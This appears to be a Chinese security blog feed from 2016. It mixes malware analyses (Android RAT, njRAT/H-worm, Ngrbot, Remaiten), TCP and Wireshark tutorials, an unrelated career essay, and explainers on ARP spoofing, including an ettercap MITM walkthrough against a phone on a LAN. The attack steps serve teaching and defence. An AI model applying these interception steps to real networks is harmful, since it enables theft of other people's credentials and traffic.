通过360后台云查信息等大数据分析，我们发现还有其他的一些人员也与木马有关，猜测可能是买马人。

手机串号所在地

35291106045**** 中国东北黑龙江省哈尔滨市

35713905461**** 中国华南广东省深圳市

35260505594**** 中国华东江西省南昌市

六、总结 从Android.Dendoroid.B木马家族可以看出，这种伪装成系统应用的远控类隐私窃取木马家族，不是依靠第三方市场传播而是通过网站售卖或地下黑产交易，然后被不法人员植入到指定的监控对象中，它具备单点传播，感染特定对象，潜伏时间长，造成单点损失大等特点。建议用户提高个人隐私保护意识，同时安装安全软件定期扫描检查软件安全性。 我们将继续紧密关注这类木马家族的发展并提供安全保护方案。

TCP-IP详解卷1-21：TCP的超时与重传（Timeout and Retransmission）

Tue, 29 Nov 2016 13:08:31 +0000

一：介绍 1：与数据链路层的ARQ协议相类似，TCP使用超时重发的重传机制。即：TCP每发送一个报文段，就对此报文段设置一个超时重传计时器。此计时器设置的超时重传时间RTO（Retransmission Time－Out）应当略大于TCP报文段的平均往返时延RTT，一般可取RTO＝2RTT。但是，也可以根据具体情况人为调整RTO的值，例如可以设置此超时重传时间RTO＝90秒。当超过了规定的超时重传时间还未收到对此TCP报文段的预期确认信息，则必须重新传输此TCP报文段。

二：四种定时器 1：重传计时器（retransmission timer）：当TCP发送报文段时，就创建该特定报文段的重传计时器。可能发生两种情况： A：若在计时器截止时间到（通常是60秒）之前收到了对此特定报文段的确认，则撤销此计时器。 B：若在收到了对此特定报文段的确认之前计时器截止期到，则重传此报文段，并将计时器复位。 2：坚持计时器（persist timer ）：为了对付零窗口大小通知，TCP需要另一个计时器。假定接收TCP宣布了窗口大小为零。发送TCP就停止传送报文段，直到接收TCP发送确认并宣布一个非零的窗口大小。但这个确认可能会丢失。我们知道在TCP中，对确认是不需要发送确认的。若确认丢失了，接收TCP并不知道，而是会认为它已经完成任务了，并等待着发送TCP接着会发送更多的报文段。但发送TCP由于没有收到确认，就等待对方发送确认来通知窗口的大小。双方的TCP都在永远地等待着对方。要打开这种死锁，TCP为每一个连接使用一个坚持计时器。当发送TCP收到一个窗口大小为零的确认时，就启动坚持计时器。当坚持计时器期限到时，发送TCP就发送一个特殊的报文段，叫做探测报文段。这个报文段只有一个字节的数据。它有一个序号，但它的序号永远不需要确认；甚至在计算对其他部分的数据的确认时该序号也被忽略。探测报文段提醒对端：确认已丢失，必须重传。坚持计时器的值设置为重传时间的数值。但是，若没有收到从接收端来的响应，则需发送另一个探测报文段，并将坚持计时器的值加倍和复位。发送端继续发送探测报文段，将坚持计时器设定的值加倍和复位，直到这个值增大到门限值（通常是60秒）为止。在这以后，发送端每隔60秒就发送一个探测报文段，直到窗口重新打开。 3：保活计时器（keepalive timer ）：保活计时器使用在某些实现中，用来防止在两个TCP之间的连接出现长时期的空闲。假定客户打开了到服务器的连接，传送了一些数据，然后就保持静默了。也许这个客户出故障了。在这种情况下，这个连接将永远地处理打开状态。要解决这种问题，在大多数的实现中都是使服务器设置保活计时器。每当服务器收到客户的信息，就将计时器复位。保活计时器通常设置为2小时。若服务器过了2小时还没有收到客户的信息，它就发送探测报文段。若发送了10个探测报文段（每一个相隔75秒）还没有响应，就假定客户出了故障，因而就终止该连接。 4：时间等待计时器（2MSL timer ）：时间等待计时器是在连接终止期间使用的。当TCP关闭一个连接时，它并不认为这个连接马上就真正地关闭了。在时间等待期间中，连接还处于一种中间过渡状态。这就可以使重复的FIN报文段（如果有的话）可以到达目的站因而可将其丢弃。这个计时器的值通常设置为一个报文段的寿命期待值的两倍。

三：拥塞控制用到的术语数据段：一个数据段就是任意的TCP/IP数据或确认包（或两者兼备）。发送端最大数据段尺寸（SMSS）:SMSS是发送端能发送的最大数据段的尺寸。这个值是以网络最大传送单元（MTU），MTU路径发现算法，RMSS(见下一项)，或其它因素为基础的。该尺寸不包括TCP/IP头和选项。接收端最大数据段尺寸（RMSS）:RMSS是接收端愿意接收的最大数据段的尺寸。这个值在连接开始时接收端发送的MSS选项中说明。又或者，如果MSS选项没有使用，就是536字节[Bra89].该尺寸不包括TCP/IP头和选项。满尺寸数据段：一个包括允许最大数目数据的数据段（也就是说，一个包括SMSS字节数据的数据段）。接收端窗口（rwnd）：最近通知的接收端窗口。拥塞窗口（cwnd）：一个TCP状态参量，代表着一个TCP允许发送的最大数据量。在任意一个给定的时刻，TCP不会发送序号大于最大确认序号和cwnd、rwnd中较小者的数据。初始窗口（iw）：初始窗口是三次握手完成后发送端的拥塞窗口的尺寸。丢失窗口（lw）：丢失窗口是在一个TCP根据它的重传定时器检测到了数据丢失之后，拥塞窗口的尺寸。重启窗口（rw）：重启窗口是TCP在一段闲置期之后重新开始传送后拥塞窗口的尺寸（如果使用慢启动算法；参见4.1节以获取更多的讨论）。传送尺寸：已经被发送但还没有确认的数据的总量。

详解嗅探(被动嗅探)与ARP欺骗(主动嗅探)

Tue, 29 Nov 2016 13:01:26 +0000

关于嗅探与ARP欺骗的原理，网络上有很多很好的帖子和文章，但大部分都忽略了数据在网络中的转发过程。实际上用嗅探和ARP欺骗来做标题有点忽悠的成分，因为嗅探本身就包含了主动嗅探和被动嗅探，欺骗的目的只是让数据经过本机，即：主动嗅探=ARP欺骗+抓包。

若未加说明，文章中的三层指的是网络层，二层指的是数据链路层。

一.数据在网络中的转发过程：

1.数据在交换网络中的传输过程如下图(PC1发包给PC2)

注:此图是以公网网络为基础，如果PC为内网或者加入私有网络则在出口要考虑NAT等情况

a)PC1发现目标IP110.1.1.2(网络号110.1.1.0)与本机不在同网段(掩码为24位，所以本机网络号为1.1.1.0)，因此PC1会将数据包丢给网关，为了数据报文能够到达网关，PC1封装的报文里头会以网关的MAC作为目的MAC(网络数据传输，原目的IP不变，原目的MAC通过三层网络时会不断改变)。

b)数据报文到达二层交换机(这里只涉及二层交换，如果是三层交换机并设置了端口IP，则会有所不同)后，由于二层交换机拆解数据报文时只拆解到二层(只拆解到原目的MAC),根本看不懂IP，所以会查找MAC-接口映射表(所谓的建立虚拟链路)，发现网关MAC对应的是E5口，则将数据包从E5口丢出去。

c)路由器R1收到数据报文后查看原目的IP(路由器属于三层设备，拆解数据包到IP层)，查看数据包的目的IP为110.1.1.1，进而查找路由表，发现数据要到达目的网络，数据包必须往下一跳218.1.1.2发送，因此路由器对数据包进行重封装，查看ARP表，原、目的IP保持不变，将原MAC修改成R1出接口(连接到R2的那个端口)的MAC地址，目的MAC改成R2的进接口(R2接R1的接口MAC地址)，接下来和二层传输一样，将数据包丢给R2。

d)R2收到数据包后与R1做的操作一样，直到数据报文到达目标。根据之前的步骤可以推出数据报文到达目标后，原IP、目的IP不变，原MAC为R2接PC2的接口MAC、目的MAC为PC2的MAC。PC2发现数据报文的目的IP和目的MAC与本机相符(非攻击者)，从而拆解数据包，获得数据报文内容。回复报文的时候和之前的传输一样。

2.数据在共享网络中的传输图(PC1发包给PC2)

数据报文在共享网络中的传输和交换网络唯一的不同在于第二个步骤，交换网络中交换机会根据MAC-端口对应表进行传输，也就是说除了网关(以图为例)，其他同交换机下的PC机无法收到数据报文(没出现攻击的情况下)。而在共享网络中，由于HUB属于一层设备，对于到达本身的数据报文，HUB会对报文进行广播(除了收到报文的那个接口)，因此接在同HUB的所有PC都能收到该报文。注：通常情况下，网卡都是工作在非混杂模式，也就是说即使收到数据报文，网卡会判断目的MAC是否和自己的一样，不一样的话代表数据包不是给自己的，因此会丢弃，只接收那些目的MAC和自己一样的数据报文。在嗅探时必须开启混杂模式，在该模式下，网卡不对数据报文进行判断，一锅端!二.ARP欺骗：1.欺骗过程及原理从上面的数据报文传输过程可以知道二层传输是通过MAC进行传输的，在传输过程中PC需要查询ARP表。因此攻击者只要可以改变目标的ARP表就能实现攻击,从而将数据牵引到自己的机器上，如图

a)在正常情况下，PC1通过本地ARP表知道网关1.1.1.2的MAC地址为1.1.1.10260.8c01.1111，所以PC1封装包的时候会将目的MAC设置成路由器的MAC地址。交换机通过MAC-端口对应表能够正常的将数据报文从E1口转发给路由器，实现数据传输。

b)黑客对PC2有完全的控制权，通过不断发送(假冒的)ARP报文告诉PC1，自己才是1.1.1.1对应的MAC是0260.8c01.1113。

c)PC1收到黑客发的ARP报文后，刷新自己的ARP表，将1.1.1.1的MAC误认为是0260.8c01.1113。

d)PC1将要访问外网数据报文的目的MAC设置成0260.8c01.1113(PC2的MAC,目测PC1被自己的ARP表给骗了)。

e)交换机通过拆解包发现目的MAC对应的端口为E4(PC2的那个接口，连锁反应了!)，就将数据报文从E4口丢出。

f)PC2成功得到PC1发往外网的请求报文。偷看后重新封包，原IP、目的IP不改变，将原MAC改成PC2的MAC，目的MAC改成网关的(数据包恢复正常，看起来和没攻击时PC1发出的报文完全一样)，PC2修改完后将数据包丢给交换机，从而欺骗实现，当然对于该包的回应报文，由于路由器ARP表没被污染，所以能够正常的将返回报文直接丢给PC1。

2.如何选择欺骗方向在欺骗过程中，选择正确的欺骗方向也是很重要的，通过阅读我们可以看到上面的欺骗方向是PC1à网关。那么我们如何确定正确的欺骗方向呢?

a) 员工工作网络，我们知道正常请求报文里面含有大量的敏感信息，如网站管理后台账户密码等。而请求包的走向是员工PCà网关，如果黑客控制的电脑与员工内部同一网段，那么正常情况下黑客会欺骗员工的PC机自己是网关，从而截获请求报文

b)服务器网络，而在机房(服务器网络)中，管理员一般会在外部进行访问，即请求报文是由网关转发给服务器，也就是说请求报文的走向是网关à服务器，如果黑客控制的是机房里的一台服务器，为了截获到请求报文中的服务器登录密码等敏感信息，攻击者一般会对网关发起欺骗，告诉网关自己是某台或者某些服务器。

c) 实际上不管在员工网络或者机房内部网络，黑客比较习惯与进行双向欺骗，一方面告诉网关自己是某些终端，另一方面告诉同网段的其他终端自己是网关，但是该方法会产生大量的垃圾信息，因为在回应报文中基本上不会携带敏感的信息。

3. ARP欺骗的瓶颈为了得到更多的敏感信息，很多人会使用双向+批量的欺骗方式，一方面告诉网关自己的MAC对应的IP是网段内所有的IP(这样无论数据报文是给哪台机子的，只要是发送给同网段机器网关都会转发给攻击者);另一方面欺骗所有同网段终端自己是网关(实际上欺骗同网段所有的终端比较容易，直接将ARP包的目的mac设置成FFFFFFFFF就行了)，从而所有终端发出的报文都会经过攻击者的机器。但是如果这样子做，攻击者控制的机器直接承载了整个网段的数据流量，要对整个网段的数据进行处理，重封装、再转发，这在服务器的性能和配置上要求可不是一般的苛刻，所以选择好欺骗对象和方向显得非常重要。

三.嗅探和ARP欺骗的区别

a) 嗅探一般存在于共享网络中，在共享网络中一般使用HUB作为接入层，经过HUB的数据报文不管长得什么样，因为HUB工作在第一层，看不懂二层以上的报文是啥样子的，所以一律以广播处理，在同一网段的计算机只要将网卡设置成混杂模式即可。

b) 嗅探在交换网络中不适用，因为交换机是通过MAC-端口对应表来转发数据报文的，所以在交换网络中如果只将网卡设置成混杂模式，而不进行ARP欺骗，其结果只能接受到网络中的广播包。

c) 共享网络中适用ARP欺骗，那是多此一举，适用ARP欺骗的方式会对影响网络流量，对网络造成很大的影响，另外适用ARP欺骗会产生大量的ARP报文，很容易被发现。而嗅探对整个网络几乎没有影响，因为嗅探只是做监听，而不会产生多余的数据报文。

四.加密是否安全

很多人说使用HTTPS或者VPN等手段就可以防止嗅探或者ARP欺骗，这是不全面的。具体要看什么网络及什么技术。下面笔者针对HTTPS和VPN在共享、交换网络中进行探讨。

1. 共享网络+嗅探

a) 在共享网络使用HTTPS确实可以很好的解决数据被窃取的问题(当然个人证书泄露除外)，由于监听的机器没有证书也就无法进行解密。

b) 在共享网络中使用VPN技术不一定能够防止，部分VPN技术只是在原有的数据报文多加一个IP报头，对于数据内容本身未做加密，攻击者使用监听技术获取该类数据还是能正常获取报文的内容的

2. 交换网络+ARP嗅探从原理上讲，该类型的攻击属于中间人攻击，可以伪造任何证书，因此对于HTTPS等来说，攻击者只要偷梁换柱，伪造证书就可以成功获得数据的明文信息。但对于部分使用秘钥不通过公网传输的协议(例如使用publikey验证的SSH,KEY不通过网络传输)就无法截取明文信息，也无法伪造。

3. 共享网络+ARP欺骗该类型攻击和第2中攻击没啥两样，就不做详细讨论了五.如何防止ARP欺骗及嗅探。实际上网上已经有很多种解决方案了，但在这边还是小提一下简单的防止方式。第四点也有提到了一部分。在交换网络中一般使用双向绑定就可以解决ARP欺骗的问题了，有些牛人说可以直接伪造MAC欺骗交换机，这也是一种绕过方法，但实际上这种方法可行性不高，虽然有时候确实能够截获到数据报文，但会时交换机的MAC-端口对应表产生混乱，另外报文若发给你就不会发给目标服务器，会产生拒绝服务攻击。在共享网络中使用双向绑定理论上是没效果的，因为只要经过HUB的数据都会进行广播，即使绑定，所有终端也会收到数据报文。Hub不像二层交换，有MAC-端口对应表。当然对于嗅探和ARP攻击的原理、利用和防御不止文中提到的这些，文章只是笔者的一点心得体会，仅供参考。说这么多，实际上要进行ARP攻击的话，一个cain、一个sniffer、一个ettercap就可以完全搞定了。

njRAT&H-worm木马分析报告

Thu, 03 Nov 2016 13:22:42 +0000

概要

通过对国外一系列“著名”的木马活动进行跟踪调查，本报告从威胁情报的角度针对njRAT&H-worm进行分析。

njRAT 使用微软 .NET 框架开发，因其广泛流传的在线支持和教程，成为了最成功的网络犯罪工具之一。H-worm 借鉴了njR A T 的开源代码，服务端为使用 VBS 脚本编写，适用于Windows全系操作系统并且使用了比较先进的 User-Agent 传递数据的方式，具有开启Ｕ盘感染的功能。

H-worm是一个VBS 脚本编写的病毒，使用了比较先进的User-Agent传递数据的方式，为网络罪犯提供了类似njRAT的控制方式。

关键点
根据长期跟踪,发现njRAT&H-worm主要流行于中东地区,有证据表明极端组织ISIS也曾使用njRAT作为重要的网络武器；
H-worm 曾被用于攻击国外能源机构；
njRAT主要通过被感染的游戏、破解软件和注册机感染目标设备；
H-worm主要通过携带病毒的电子邮件附件和恶意链接传播扩散；
主要威胁针对所有版本windows操作系统包括目前的win10操作系统，并且网络中流传znjRAT&H-worm对大部分反病毒软件免杀的在线支持和教程；
建议采取以下措施来预防和发现njRAT&H-worm的入侵：

o 依据本报告威胁指示器列表（IOCs）在网络安全设备中添加相应检测和防护策略；

o 加强邮件服务器对邮件附件和正文中链接的检测能力；

o 避免从非信任渠道下载游戏、破解软件和注册机等程序；

o 避免打开不受信任来源的电子邮件，尤其是带有附件和外部链接内容的邮件。

战略威胁情报

njRAT&H-worm在2013年第一次出现，主要盛行于中东地区，在世界其他国家和地区也有广泛传播。

njRAT 程序完美支持阿拉伯字符，有证据表明极端组织 ISIS 使用njRAT作为重要的网络武器。njRAT使用微软的 .NET框架开发，并像其他许多木马一样为远程攻击者提供了对被感染系统的完全控制功能。我们已经看到攻击者利用被污染的流行游戏、破解软件及注册机来进行污染传播。njRAT木马因其广泛流传的在线支持和教程，已成为最成功的网络犯罪工具之一。与此同时，目前网络中也有较多.NET 混淆工具流传，使病毒检测相对困难，妨碍了安全研究人员的分析。

早在2013年H-worm就被发现用于对国外能源机构的攻击。H-worm是一个VBS脚本编写的病毒，使用了比较先进的User-Agent传递数据的方式。其作者Houdini使用了njRAT作者njq8的一部分开源代码，国外分析机构也常将H-worm作为njRAT的主要变种。

根据最近一周的跟踪分析，发现沙特阿拉伯和捷克njRAT感染尤为集中。

图1：njRAT感染分布图

表1： njRAT感染IP（部分）

H-worm病毒仍在全球范围内大量活跃，根据跟踪分析，发现感染对象包括美国、俄罗斯、沙特阿拉伯、阿根廷、秘鲁、巴西、智利、巴拉圭、委内瑞拉、印度以及中国。

图2： H-worm国外感染分布图

表2： H-worm国外感染IP（部分）

重点对国内H-worm感染主机进行检测，发现涉及18个省市共发现200多个感染主机。

图3： H-worm 国内感染分布图

三十岁时才知道，曾经躲过去的今天都要你加倍还

Wed, 02 Nov 2016 12:59:05 +0000

文/一直特立独行的猫

前几天去上英语课，认识了一个全职妈妈，她家离学校特别远，每天送五岁的儿子上幼儿园之后，就马不停蹄地奔到学校，下午3点钟又立刻离开，回到幼儿园接孩子放学。

我问她：“干嘛跑这么远来上课，孩子都这么大了，也没有什么负担了吧？”

她跟我说：“我一直都是全职妈妈，现在都快五年了。孩子上的双语幼儿园，现在孩子回家经常会用用于说点简单的对话，有时候孩子跟我说英语，我却什么都不懂。想想将来孩子还要上小学，上中学，学的会越来越多，那时候我就更没能力跟孩子互动了。所以无论如何都要来学英语，哪怕从头开始。以前上班上学的时候学英语用英语都轻松的躲过去了。以为一辈子都会躲过去的东西，没想到在有了孩子之后，都要重新捡起来。 自己小时候不努力，觉得对不起父母；年轻时候不努力，觉得对不起家人；但当有了孩子之后才发现，如果自己不努力，是自己最不能接受的了。”

有了孩子以后，加入那么多名目的家长群，最大的体会不是多辛苦，也不是养孩子有多贵，而是曾经躲过去的，没学好的，如今为了孩子都要一点点捡回来。不光是英语，还是历史地理生物数学唐诗宋词，甚至手工。那些以为一辈子都不用再学再看的书本知识，没想到有一天都必须拿回来，甚至学的更努力更准确。

前几天跟一位前辈聊天，向我聊起她目前的职场困惑。

前辈马上要奔四了，孩子尚且年纪小，老人又到了需要人照顾而哪儿也去不了的时候，职场里身强体壮有干劲儿工资低的年轻人潮水般的涌上来，压力很大。而更要命的是，今天的她在公司里能力属于一般，跟很多年轻人一个职位。她家里挺有钱的，虽说工作上并没有太大抱负，但在一群小孩子中间混着，心里不舒服有时候还要被别人给脸色；可自己还真不敢辞职回家当太太，担心一点经济独立能力都没有未来会有问题。

前辈跟我说，嫁个有点钱的老公，婚后找个清闲工作朝九晚五是多少女孩希望的梦想生活。她当年也是这么觉得，想着有老公赚钱还算挺多，便想着不用那么努力拼命了，差不多得了，什么都不争不抢能推给别人自己绝不干的心态混迹在职场里，按点上下班照顾家里和老人，没事儿逛街美容的生活真心不错。可那时候的她才二十六七岁，未来的职场还有二三十年，混日子一天两天可以，可三五年差距就太显而易见了。特别是 女人到三十岁以后，来自各方面的压力都会一起涌现，如果自己没点能拿得出手的真本事，不安全感会一天比一天强。 3.

我从21岁的时候开始实习，22岁毕业就开始工作，身在知名大公司，入行又足够早，看着身边好多25、26岁的朋友们比也不过坐一个比自己高一级的位置，生活上也比自己宽裕不了太多，总觉得自己的未来足够敞亮，想着这样小年纪，努把力，等自己25、26岁的时候，工作和生活一定会比他们要超前很多呢。三四年后，真到25、26岁的时候，我的人生并没有到达曾经预想的那些高度，仅仅是比曾经这个年纪的朋友们好一些而已。回想起来，大体是因为总觉得自己起步早，便会洋洋得意于年龄优势，总觉得有的是时间，打打闹闹，也不争分夺秒，结果蹉跎了岁月，用尽了青春。今天的自己虽一点都不敢懈怠，但身体已然无法像刚毕业时候熬夜加班还热血沸腾，生活里也有了很多其他内容让自己无法专一的去做一件事了。

职场上有一个很有趣的现象，大部分人在初入职场的时候都差不多水平，但到了30岁左右的时候，有的人能步步高升，而有的人却一直原地不动。再往高一点，有的人开始辞职并美其名曰寻找内心的理想，有的人平步青云成为高层走向职场巅峰。当然，这其中除了内心是否厌倦工作以外，还有一种更重要的原因就是，越往高走，越需要扎实的基础。这个基础包括技术和能力，也包括人脉与情商。如果在职场早期没有很好的积累和锻炼，就像上学学习一样，没有扎实的基础，越往高走，困难越大。而这个困难，因为环境等各种原因，很难再补回来了。

曾经有一个职场前辈告诉我：在工作前三年的时候什么都要去做，去努力做，去拼命做，有多余的精力不要太过沉迷自由而尽情泡酒吧夜店KTV。纵然前三年是最辛苦，薪水最低，看起来付出和回报差距过大的三年，但却是人人都愿意毫无保留的教你给你的三年，更是奠定了未来职场生涯的基础的三年。别说什么工作是为生活服务的，而不是全部的生活之类的话，前三年还没什么资格说这话。环顾自己和周围朋友的职场磕绊，追根溯源，都与职场前三年的基础有关。那些曾经躲过的辛苦，逃过的困难，自以为幸运没有分配到自己头上的费时费力的事，总有那么一天成为自己职场生涯的软肋，让你懊恼当初为什么不多长个眼睛看一看。

我和我周围的朋友都到了三十而立的年纪了，平时偶尔会说说自己的烦恼和遇到的困难，而这些我们眼下的问题，仔细想想，无一不是因为早年的偷懒造成的。而也是从现在开始，人与人之间的差距从现在开始清晰明了的区分出来。而这个年纪， 有家庭有老人有孩子，再说奋起直追，除非强大的自制力和积累，大部分人，都很难，甚至只能空有一番努力的热情，却实践不了三天。 俗话说，少壮不努力，老大徒伤悲，现在才知道这句话背后残酷的意义，这也便是人生最现实最残酷的地方。

不要让未来的你，讨厌现在的自己，人生的每一天每一刻，都在为自己的明天铺路。 今天你后悔懊恼的地方，都是你昨天脑子里进的水；想偷懒懈怠的时候想一想，明天的你，会想抽自己么？

*作者：赵星，微博@一直特立独行的猫，代表作《从北京到台湾这么近那么远》《挺住，意味着一切》《不要让未来的你，讨厌现在的自己》

Ngrbot蠕虫分析（一）

Tue, 25 Oct 2016 14:37:02 +0000

1. 基本信息

病毒别名： Worm.Win32.Ngrbot

病毒类型：蠕虫

样本长度： 252.000 字节样本MD5：FA92DAE6F14F9B9DB1D263222FC65DFF

样本SHA1： A0BA2E072CA9BA7C3BDDC2F3BEF2FA09E15A716D

文件类型：PE_EXE

原始文件名： txgxltogztf.exe

感染系统：Windows All(x86)

2. 样本概述

该蠕虫与木马Androm绑定在一起被下载到用户的计算机上,并能通过HTTP,FTP,MSN,email,U盘等手段进行传播,一旦用户感染此蠕虫,会立即窃取用户的密码及隐私信息,包括用户的电子银行,社交网站,邮箱密码,FTP密码和MSN好友信息等.同时该病毒监控用户下载的文件,搜集用户的上网习惯.被感染的用户组成一个庞大的僵尸网络用于对网络目标进行攻击.

3. 详细分析

行为流程分析

由于该病毒是通过androm下载到本地,所以执行流程,以及加密方式跟androm是一样的,区别在于资源”JPEG”中的恶意代码功能,入口处会创建一个辅助线程,该线程功能是初始化所需要的API及字符串,同时为了防止重入,创建命名互斥体” SSLOADasdasc000100”

图1:API的初始化

随后生成随机的文件名称,文件名只包含数字以及字母,这些文件名是用来在calc中下载使用的,生成到临时文件中.

图2:下载后保存的文件名

判断系统版本是否是64位程序,该病毒只能感染32位的程序,所以程序打开Syswow64或system32下的calc程序,写入恶意代码以及数据,之后该线程进入死循环

图3:感染clac进程

在calc中,下载地址以及文件名加密后被蠕虫传送过来

图4:要下载的文件地址,被加密

解密算法伪代码:

int i = 0;

int d = 0;

for(;(d = strBase[i]);++i)

{

if(d > 0x21 && d < 0x4F)

strBase[i] =(d + 0x2F)%0x7F;

if(d > 0x50 && d < 0x7E)

strBase[i] =(d - 0x2F)%0x7F;

记录利用ettercap进行简单的arp欺骗和mitm攻击过程

Thu, 20 Oct 2016 17:35:11 +0000

攻击主机平台：kali-linux 被攻击主机：安卓手机192.168.1.107 （在同一局域网内）

1.利用ettercap进行arp欺骗：

root权限下打开ettercap：ettercap -C （curses UI） ettercap -G （GTK+ GUI）

curses UI工作界面：

GTK+ UI工作界面：

这里以GTK+ UI为例，打开ettercap之后，选择Sniff—-Unified-sniffing，然后选择网卡：

然后Hosts—Scan for hosts—Hosts list，此时可以看到目标主机ip（192.168.1.107）

选定目标主机，然后点add to target 1,将目标主机添加到目标1;选定路由，点add to target 2,将路由添加到目标2：

如图，添加成功！

然后点mitm — arp posoning ，勾选sniff remote connections：

网络性能排查之TCP重传与重复ACK

Mon, 10 Oct 2016 08:58:00 +0000

作为网络管理员，很多时间必然会耗费在修复慢速服务器和其他终端。但用户感到网络运行缓慢并不意味着就是网络问题。

解决网络性能问题，首先从TCP错误恢复功能（TCP重传与重复ACK）和流控功能说起。之后阐述如何发现网络慢速之源。最后，对网络各组成部分上的数据流进行概况分析。这几张内容将会帮助读者识别，诊断，以及排查慢速网络。

更多信息接下来的内容，较多是黑白图片了。虽然看起来有点不爽，但还是很值得一看。

TCP错误恢复功能：

TCP的错误恢复功能是定位，诊断及修复网络延时的最佳工具。延时可以在单程也可以往返方向测量。高延时是网络管理员的头号大敌。本节我们讨论TCP高延时是如何导致序列号和确认号乱序的。

TCP重传：

主机报文重传是TCP最基本的错误恢复功能，它的目的是防止报文丢失。

报文丢失的可能因素有很多种，包括应用故障，路由设备过载，或暂时的服务宕机。报文级别速度是很高的，而通常报文丢失是暂时的，因此TCP能够发现和恢复报文丢失显得尤为重要。

决定报文是否有必要重传的主要机制是重传计时器（retransmission timer），它的主要功能是维护重传超时（RTO）值。当报文使用TCP传输时，重传计时器启动，收到ACK时计时器停止。报文发送至接收到ACK的时间称为往返时间（RTT）。对若干次时间取平均值，该值用于确定最终RTO值。在最终RTO值确定之前，确定每一次报文传输是否有丢包发生使用重传计时器，下图说明了TCP重传过程。

当报文发送之后，但接收方尚未发送TCP ACK报文，发送方假设源报文丢失并将其重传。重传之后，RTO值加倍；如果在2倍RTO值到达之前还是没有收到ACK报文，就再次重传。如果仍然没有收到ACK，那么RTO值再次加倍。如此持续下去，每次重传RTO都翻倍，直到收到ACK报文或发送方达到配置的最大重传次数。

最大重传次数取决于发送操作系统的配置值。默认情况下，Windows主机默认重传5次。大多数Linux系统默认最大15次。两种操作系统都可配置。示例如下图：

TCP重传过程发送的第一个报文如下图所示（图片不很清楚，已经尽力了）：

这是一个TCP PSH/ACK报文①，包含648字节数据②，从10.3.30.1发送至10.3.71.7。这是一个典型的数据报文。

在通常情况下，第一个报文发送之后很快会收到TCP ACK报文。然而，在这个case里，第二个是重传报文。可以在Packet list面板里看到。Info栏清楚的标明“TCP Retransmission”，报文以黑色背景红色字体标出。下图是Packet List面板中的重传示例（仍然不清楚，但可参见上图）：

也可以在Packet Details和Packet Bytes面板中查看来确定是否是重传报文，如下图所示：

注意此报文与源报文相同（除了IP标识和checksum字段）。要验证这一点，比较两个报文的Packet Bytes①。

在Packet Details面板，注意到重传报文在SEQ/ACK Analysis下面有些额外的信息②。这些信息是由Wireshark提供的而并非报文本身。SEQ/ACK Analysis告诉我们这确实是一个重传报文，RTO值是0.206秒，此时的RTO是基于报文1的时间增量。

检查剩下的报文会得到类似的结果，不同之处只有IP标识和checksum，以及RTO值。要使报文之间的时间间隔形象化，在Packet List面板中查看Time栏，如下图所示。这里可以看到RTO值的翻倍增长关系。

TCP重复ACK以及快速重传：

重复ACK是指在接收方收到乱序报文时，所发出的一类TCP报文。TCP使用报文头的序列号和确认号以有效保证数据按照发送的顺序接收和重组。

当TCP连接建立以后，握手过程中交换的一个最重要的信息是初始序列号（ISN）。一旦连接双方设定了ISN之后，接下来发送的报文所包含的序列号增加一个数据载荷值。

假设有个主机ISN是5000，发送500字节报文至接收方。一旦报文接收之后，接收端回复一个ACK号为5500的TCP ACK报文，基于以下公式：

Sequence Number In + Bytes of Data Received = Acknowledgment Number Out

按照上述计算结果，返回发送端的确认编号实际上是接收端希望收到的序列号。示例如下图：数据接收方通过序列号来检查报文丢失。接收方通过追踪接收到的序列号，能够确认序列号是否乱序。当接收方收到一个不正常的序列号，它会假设传输过程中有报文丢失。为了正确重传数据，接收方必须拥有丢失报文，所以它发送包含有丢失报文正确序列号的ACK报文，以便发送方重传此报文。

当重传主机从发送端接收到3个重复ACK时，它会假设此报文确实在传送中丢失，并且立即发送一个快速重传。一旦触发了快速重传，所有正在传输的其他报文都被放入队列中，直到快速重传报文发送为止。过程如下图所示：

承接上文的彩图：

本例中第一个报文如下图：这是一个TCP ACK报文，从数据接收端（172.31.136.85）发给发送端（195.81.202.68）①，确认前一个报文所发送的数据。此报文中的确认编号是1310973186②，应当是下一个接收报文的序列号，如下图所示：

不幸的是接收端的序列号是1310984130①，并不是所期望的值。这意味着报文在传送中丢失。接收端注意到报文乱序，并且在第三个报文中发送重复ACK，如下图所示：

可以通过以下两种方式之一来确认这是一个重复ACK：

在Packet Detaisl面板中的Info栏。报文呈现黑色背景红色字体。

SEQ/ACK Analysis下的Packet Deatails面板。扩展这一栏会发现报文显示为duplicate ACK。接下来几个报文重复此过程。如下图所示：此文件中的第四个报文是发送端所发出具有错误序列号①的另一个数据块。因此，接收端发送第二个重复ACK②。接收端又收到一个乱序报文③。从而触发了第三以及最后一个重复ACK④.

新型针对路由器的Linux BOT或将波及其它IOT设备

Tue, 27 Sep 2016 16:27:51 +0000

据ESET报道，最近发现了一种新的针对嵌入式设备的BOT，通过分析将其恶意行为定义为Linux / Remaiten(一种可以通过互联网指令进行远程控制的后门服务)。到目前为止，已经发现了三个版本，分别是2.0,2.1和2.2。相比之前的样本，它具有一些改进，并提供了一些新的功能。根据代码中的线索，作者将这个新的恶意软件命名为“KTN-Remastered” 或者 “KTN-RM”。这里将会分享最新样本相比之前样本的一些新的特性。

文章目录

先进的传播方式

1、历史样本

历史版本传播方式

2、本次样本

本次样本传播方式

下载者技术分析

下载者是一个比较小的ELF可执行文件，当在受害者设备上运行后，会向C&C服务器发送如下指令(主要是CPU架构):

mips
mipsel
armeabi
armebeabi

C&C服务器会根据客户端的请求返回指定CPU架构的BOT文件(ELF格式)。如下图：

下载者从C&C获得的BOT二进制文件

下载者连接C&C服务器

这里分析的环境是mips架构的，下载者会下载mips架构的BOT，并在控制台输出相关的信息。

下载者从C&C服务器请求MIPS架构的BOT

BOT行为分析

BOT在默认情况下会以后台服务的形式启动，一旦启动，程序会将自己的名字更改为看起来比较合法的名字（在2.0和2.1版本中使用“-bash”,2.2版本中使用“-sh”）。

BOT的启动

接下来运行的create_daemon函数将会在预定义的目录(在预定义目录列表中第一个拥有写入权限的目录)中创建一个名为“.kpid”的文件，将其PID写入到该文件中：

预定义文件目录列表

如果名为“.kpid”的文件存在，则会结束“.kpid”文件中指定PID的进程实例，然后创建一个新的进程实例继续运行，并将其PID写入到“.kpid”文件中。

.kpid文件创建跟踪

连接到C&C服务器

服务器的地址列表和端口是被硬编码在二进制文件中，BOT会随机选取一个服务器地址，连接指定的端口。

BOT连接的C&C服务器

当成功连接到C&C服务器后，BOT则会监测IRC（Internet Relay Chat：互联网中继通讯）通道的存在，C&C服务器会返回欢迎信息以及相关的指令码，由受影响设备上的BOT解析与处理。

C&C BOT欢迎信息

IRC命令处理

